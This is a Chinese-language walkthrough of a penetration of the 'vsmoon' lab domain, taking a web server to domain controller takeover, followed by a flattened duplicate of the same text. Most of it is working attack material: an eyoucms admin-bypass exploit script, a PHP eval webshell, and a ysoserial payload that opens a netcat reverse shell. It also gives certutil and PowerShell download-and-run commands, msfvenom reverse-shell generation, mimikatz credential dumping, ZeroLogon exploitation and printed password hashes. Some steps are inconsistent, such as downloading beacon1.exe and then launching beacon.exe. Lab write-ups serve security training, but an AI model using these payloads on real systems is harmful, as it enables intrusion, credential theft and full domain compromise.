域渗透实战之 vsmoon
字数 1585 2025-08-24 07:48:22

域渗透实战之vsmoon - 详细教学文档

环境搭建

网络拓扑结构

  • Web服务器:

    • 配置2个网卡:
      • 网卡0: 192.168.0.116
      • 网卡22: 192.168.22.152
  • Data服务器:

    • 配置2个网卡:
      • 网卡22: 192.168.22.146
      • 网卡10: 10.10.10.136
  • AD域控服务器:

    • 配置1个网卡:
      • 网卡10: 10.10.10.137

Web打点阶段

1. 网络连通性测试

首先测试与目标Web服务器的网络连通性:

ping 192.168.0.116
ping 192.168.22.152

2. 端口扫描

使用nmap进行端口探测:

nmap -sS -p- 192.168.0.116
nmap -sS -p- 192.168.22.152

3. 目录扫描

使用工具扫描网站存在的URL地址:

dirsearch -u http://192.168.0.116

发现后台管理地址。

Nday漏洞利用 - eyoucms任意用户登录

漏洞分析

漏洞位于:

application/api/controller/Ajax.php

关键代码:

public function get_token($name = '__token__') {
    if (IS_AJAX) {
        echo $this->request->token($name);
        exit;
    } else {
        abort(404);
    }
}

跟进$this->request->tokencore/library/think/Request.php:

public function token($name = '__token__', $type = 'md5') {
    $type = is_callable($type) ? $type : 'md5';
    $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
    if ($this->isAjax()) {
        header($name . ': ' . $token);
    }
    Session::set($name, $token);
    return $token;
}

漏洞利用

  1. 构造请求获取token:
GET /application/api/controller/Ajax.php?name=admin_login_expire HTTP/1.1
Host: 192.168.0.116
X-Requested-With: XMLHttpRequest
  1. 获取到的token实际上是服务器时间戳的MD5值。

  2. 后台验证逻辑在application/admin/controller/Base.php中,可以通过设置admin_login_expire的session来绕过验证。

漏洞复现

  1. 编写EXP获取用户cookie:
import requests
import hashlib
import time

url = "http://192.168.0.116/application/api/controller/Ajax.php"
headers = {"X-Requested-With": "XMLHttpRequest"}

# 获取token
r = requests.get(url, headers=headers, params={"name": "admin_login_expire"})
token = r.text

# 构造cookie
cookie = {
    "admin_login_expire": token,
    "admin_id": "1",
    "admin_username": "admin"
}

# 使用cookie登录后台
session = requests.Session()
session.cookies.update(cookie)
response = session.get("http://192.168.0.116/admin")
  1. 替换cookie进行登录。

获取Webshell

  1. 在后台的index.html文件中插入payload:
<?php @eval($_POST['cmd']);?>
  1. 使用蚁剑连接:
  • 地址: http://192.168.0.116/index.html
  • 密码: cmd

成功获取webshell。

内网渗透

1. FRP内网穿透

  1. 上传frp客户端到Web服务器:
upload /path/to/frpc /tmp/frpc
  1. 配置frpc.ini:
[common]
server_addr = your_vps_ip
server_port = 7000

[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 8080
  1. 启动frp客户端:
chmod +x /tmp/frpc
/tmp/frpc -c /tmp/frpc.ini

2. 上线Cobalt Strike

  1. 使用CS生成木马:
攻击 -> 生成后门 -> Windows可执行文件
  1. 通过蚁剑上传并执行木马:
upload /path/to/beacon.exe /tmp/beacon.exe
shell /tmp/beacon.exe

3. 内网信息收集

  1. 获取用户hash:
hashdump

输出:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c51ba7c328cd01866885a37748816e07:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  1. 确认主机不是域内主机,为双网卡主机,网段为0和22段。

4. 权限提升

使用CS的权限提升模块:

beacon> elevate uac-dll

5. 端口扫描

使用CS代理进行端口扫描:

beacon> portscan 192.168.22.146 1-65535

发现开放多个端口。

横向移动

1. 发现敏感文件

在桌面发现账号.txt和一个jar包,下载jar包到本地分析。

2. Java代码审计

  1. 使用jd-gui反编译jar包。

  2. 发现反序列化漏洞:

ObjectInputStream ois = new ObjectInputStream(this.socket.getInputStream());
Message ms = (Message)ois.readObject();
  1. 确认环境:
  • Java版本: jdk1.8.0_65
  • 存在commons-collections 3.2.1依赖

3. 利用CC链攻击

  1. 使用ysoserial生成CC6 payload:
java -jar ysoserial.jar CommonsCollections6 "cmd /c C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999 -e cmd.exe" > cc66.ser
  1. 上传payload到目标:
upload cc66.ser C:\phpstudy_pro\tmp\cc66.ser
  1. 触发反序列化:
shell type C:\phpstudy_pro\tmp\cc66.ser | C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999
  1. 成功获取data主机的shell。

4. Data主机上线CS

  1. 设置端口转发:
shell netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455
  1. 下载并执行beacon:
certutil -urlcache -split -f http://192.168.22.152/beacon1.exe beacon1.exe
start beacon1.exe

或使用PowerShell:

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon1.exe','beacon1.exe');start-process beacon.exe
  1. 确认data主机为双网段主机,10段为域内地址段。

域渗透

1. 域内信息收集

  1. 发现域名为data.vsmoon.com

  2. 使用mimikatz获取凭证:

mimikatz # sekurlsa::logonpasswords

2. MSF跨路由访问域控

  1. 生成后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=6666 -f exe > shell.exe
  1. 域控地址: 10.10.10.137

  2. 上传并执行shell.exe:

upload shell.exe C:\temp\shell.exe
shell C:\temp\shell.exe
  1. MSF开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.128
set LPORT 6666
run

3. 搭建代理

  1. 设置路由:
meterpreter > run autoroute -s 10.10.10.0/24
  1. 使用socks代理:
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 1080
run

4. ZeroLogon(CVE-2020-1472)提权域控

  1. 使用脚本进行域控密码置空:
python3 zerologon_tester.py DC_NAME 10.10.10.137
python3 cve-2020-1472-exploit.py DC_NAME 10.10.10.137
  1. 获取管理员hash:
mimikatz # lsadump::dcsync /domain:data.vsmoon.com /user:Administrator

输出:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
  1. 使用wmiexec进行横向移动:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d Administrator@10.10.10.137

5. 恢复域控hash

  1. 导出sam数据库中原来的计算机hash:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
  1. 恢复ntds.dit中的计算机hash并验证:
python3 reinstall_original_pw.py DC_NAME 10.10.10.137 <original-hash>
  1. 验证密码已更改回去。

总结

本渗透测试从Web打点开始,通过eyoucms的任意用户登录漏洞获取初始访问权限,然后通过上传webshell和frp内网穿透建立持久化通道。在内网中,通过反序列化漏洞横向移动到data主机,最终利用ZeroLogon漏洞获取域控权限,完成整个域渗透过程。

域渗透实战之vsmoon - 详细教学文档 环境搭建 网络拓扑结构 Web服务器 : 配置2个网卡: 网卡0: 192.168.0.116 网卡22: 192.168.22.152 Data服务器 : 配置2个网卡: 网卡22: 192.168.22.146 网卡10: 10.10.10.136 AD域控服务器 : 配置1个网卡: 网卡10: 10.10.10.137 Web打点阶段 1. 网络连通性测试 首先测试与目标Web服务器的网络连通性: 2. 端口扫描 使用nmap进行端口探测: 3. 目录扫描 使用工具扫描网站存在的URL地址: 发现后台管理地址。 Nday漏洞利用 - eyoucms任意用户登录 漏洞分析 漏洞位于: 关键代码: 跟进 $this->request->token 在 core/library/think/Request.php : 漏洞利用 构造请求获取token: 获取到的token实际上是服务器时间戳的MD5值。 后台验证逻辑在 application/admin/controller/Base.php 中,可以通过设置 admin_login_expire 的session来绕过验证。 漏洞复现 编写EXP获取用户cookie: 替换cookie进行登录。 获取Webshell 在后台的 index.html 文件中插入payload: 使用蚁剑连接: 地址: http://192.168.0.116/index.html 密码: cmd 成功获取webshell。 内网渗透 1. FRP内网穿透 上传frp客户端到Web服务器: 配置frpc.ini: 启动frp客户端: 2. 上线Cobalt Strike 使用CS生成木马: 通过蚁剑上传并执行木马: 3. 内网信息收集 获取用户hash: 输出: 确认主机不是域内主机,为双网卡主机,网段为0和22段。 4. 权限提升 使用CS的权限提升模块: 5. 端口扫描 使用CS代理进行端口扫描: 发现开放多个端口。 横向移动 1. 发现敏感文件 在桌面发现 账号.txt 和一个jar包,下载jar包到本地分析。 2. Java代码审计 使用jd-gui反编译jar包。 发现反序列化漏洞: 确认环境: Java版本: jdk1.8.0_ 65 存在commons-collections 3.2.1依赖 3. 利用CC链攻击 使用ysoserial生成CC6 payload: 上传payload到目标: 触发反序列化: 成功获取data主机的shell。 4. Data主机上线CS 设置端口转发: 下载并执行beacon: 或使用PowerShell: 确认data主机为双网段主机,10段为域内地址段。 域渗透 1. 域内信息收集 发现域名为 data.vsmoon.com 。 使用mimikatz获取凭证: 2. MSF跨路由访问域控 生成后门: 域控地址: 10.10.10.137 上传并执行shell.exe: MSF开启监听: 3. 搭建代理 设置路由: 使用socks代理: 4. ZeroLogon(CVE-2020-1472)提权域控 使用脚本进行域控密码置空: 获取管理员hash: 输出: 使用wmiexec进行横向移动: 5. 恢复域控hash 导出sam数据库中原来的计算机hash: 恢复ntds.dit中的计算机hash并验证: 验证密码已更改回去。 总结 本渗透测试从Web打点开始,通过eyoucms的任意用户登录漏洞获取初始访问权限,然后通过上传webshell和frp内网穿透建立持久化通道。在内网中,通过反序列化漏洞横向移动到data主机,最终利用ZeroLogon漏洞获取域控权限,完成整个域渗透过程。